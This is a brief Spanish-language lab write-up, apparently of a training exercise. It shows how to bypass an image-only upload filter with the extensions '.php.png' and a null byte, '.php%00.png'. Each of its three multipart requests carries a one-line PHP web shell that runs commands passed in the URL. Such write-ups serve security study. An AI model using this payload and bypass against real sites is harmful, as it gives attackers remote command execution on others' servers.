Web shell upload via obfuscated file extension
![[20251014011056.png]](/assets/20251014011056.D_H9bD65.png)
Al intentar subir un archivo php el sitio web no nos deja, debido a que solo aceptar archivos .png
![[20251014221811.png]](/assets/20251014221811.B2stKjQx.png)
c
------geckoformboundary74533c01c28a06dc2c5de15cdc62ef78
Content-Disposition: form-data; name="avatar"; filename="web-shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
PNG
En nuestra request agregamos .png y enviamos y el sitio web nos deja subir el archivo
![[20251014222203.png]](/assets/20251014222203.D0gRIUCU.png)
c
------geckoformboundary74533c01c28a06dc2c5de15cdc62ef78
Content-Disposition: form-data; name="avatar"; filename="web-shell.php.png"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
PNG
Por lo que podemos usar %00 para poder escapar la extensión de .png
![[20251014222346.png]](/assets/20251014222346.BrwrtVcJ.png)
Al enviar la solicitud observamos que el sitio web nos permite subir el archivo.
c
------geckoformboundary74533c01c28a06dc2c5de15cdc62ef78
Content-Disposition: form-data; name="avatar"; filename="web-shell.php%00.png"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
PNG![[20251014222919.png]](/assets/20251014222919.DzbUWPdn.png)